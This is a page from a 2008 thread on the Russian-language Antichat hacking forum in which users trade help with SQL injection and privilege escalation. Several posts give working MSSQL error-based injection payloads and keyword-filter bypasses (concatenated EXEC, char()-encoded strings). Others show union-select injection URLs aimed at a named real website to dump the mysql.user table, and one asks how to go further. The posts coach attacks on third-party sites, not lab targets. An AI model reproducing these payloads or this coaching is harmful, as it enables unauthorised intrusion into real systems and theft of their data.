HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 385 из 2438 « Первая < 285335375 381 382 383 384 385 386 387 388 389 3954354858851385 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #3841  
Старый 25.11.2008, 20:30
Octave_Parango
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682

Репутация: 30
По умолчанию
Цитата:
Сообщение от DimOnOID  
а порутать с помощью сплоента?!
Какой посоветуешь?
 
Ответить с цитированием

  #3842  
Старый 25.11.2008, 20:35
chekist
Reservists Of Antichat - Level 6
Регистрация: 14.11.2007
Сообщений: 177
Провел на форуме:
1246854

Репутация: 622
По умолчанию
Цитата:
Сообщение от Octave_Parango  
Какой посоветуешь?
введи uname -a, напиши на форуме что выдаст
 
Ответить с цитированием

  #3843  
Старый 25.11.2008, 21:39
SHS
Познающий
Регистрация: 04.08.2008
Сообщений: 53
Провел на форуме:
63941

Репутация: 2
По умолчанию
Вопрос:
Короче есть бажный параметр mssql-inj.
.asp?id=.....
Запросы типа -1+or+1=(@@version), db_name() и тд проходят на ура.
Скрипт фильтрует операторы (select, update, и тд..).
Какие методы обхода фильтраций существуют? В mysql много знаю, а вот s mssql впервые столкнулся.
 
Ответить с цитированием

  #3844  
Старый 25.11.2008, 22:32
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
Провел на форуме:
11338585

Репутация: 441
Отправить сообщение для DimOnOID с помощью ICQ
По умолчанию
ссылку в пм или сюда
 
Ответить с цитированием

  #3845  
Старый 25.11.2008, 22:42
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию
Цитата:
Сообщение от Parti  
Добрый день

Подскажите пожалуйста как вывести в ошибке MSSQL данные типа "int"

1+or+1=(SELECT intColumn ...) не вызывает ошибки в случае если column имеет тип int, только при varchar.

Спасибо.
1 or 1=(SELECT cast(name as nvarchar(4000)) FROM table)--
1 or 1=(SELECT convert(nvarchar,name) FROM table)--
 
Ответить с цитированием

  #3846  
Старый 25.11.2008, 22:45
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию
Цитата:
Какие методы обхода фильтраций существуют? В mysql много знаю, а вот s mssql впервые столкнулся.
';EXEC('SEL'+'ECT US'+'ER')--
 
Ответить с цитированием

  #3847  
Старый 25.11.2008, 23:40
Parti
Новичок
Регистрация: 07.10.2007
Сообщений: 4
Провел на форуме:
32389

Репутация: 1
По умолчанию
Цитата:
Сообщение от [Raz0r]  
1 or 1=(SELECT cast(name as nvarchar(4000)) FROM table)--
1 or 1=(SELECT convert(nvarchar,name) FROM table)--
Оба эти запроса не выдали ошибку :S.

Используется mssql в связке с ASP.Net.

Microsoft SQL Server 2000 - 8.00.2187 (Intel X86) Mar 9 2006 11:38:51 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
 
Ответить с цитированием

  #3848  
Старый 25.11.2008, 23:52
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию
попробуй так
1 or 1=(select convert(int,substring(convert(varchar,name)+char(5 8),1,999)) from table)--
 
Ответить с цитированием

  #3849  
Старый 26.11.2008, 03:45
AHMED HASSAN
Новичок
Регистрация: 25.04.2007
Сообщений: 16
Провел на форуме:
110445

Репутация: 1
По умолчанию
hi

sorry need to write in english

http://www.fcmetz.com/voir.php?id=-5036%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12 ,13%20from%20mysql.user

i got all that and when user

http://www.fcmetz.com/voir.php?id=-5036%20union%20select%201,2,3,4,user,6,7,8,9,10,11 ,12,13%20from%20mysql.user

doesnt appear

how to move on

thanx
 
Ответить с цитированием

  #3850  
Старый 26.11.2008, 10:51
SHS
Познающий
Регистрация: 04.08.2008
Сообщений: 53
Провел на форуме:
63941

Репутация: 2
По умолчанию
Цитата:
Сообщение от [Raz0r]  
';EXEC('SEL'+'ECT US'+'ER')--
Exec тоже под фильтром.
Я попробовал сделать так :
page.asp?id=-1+or+1=(char(0x73)%2bchar(0x65)%2bchar(0x6c)%2bcha r(0x65)%2bchar(0x63)%2bchar(0x74)%2bchar(0x7e)%2b+ user)--sp_password

Получил:

[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'select~dbo' to data type int.

Если же попробовать к примеру top 1 table_name from .... , то тут уже нестыковка синтаксиса.
 
Ответить с цитированием
Ответ
Страница 385 из 2438 « Первая < 285335375 381 382 383 384 385 386 387 388 389 3954354858851385 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)
 


Быстрый переход




ANTICHAT.XYZ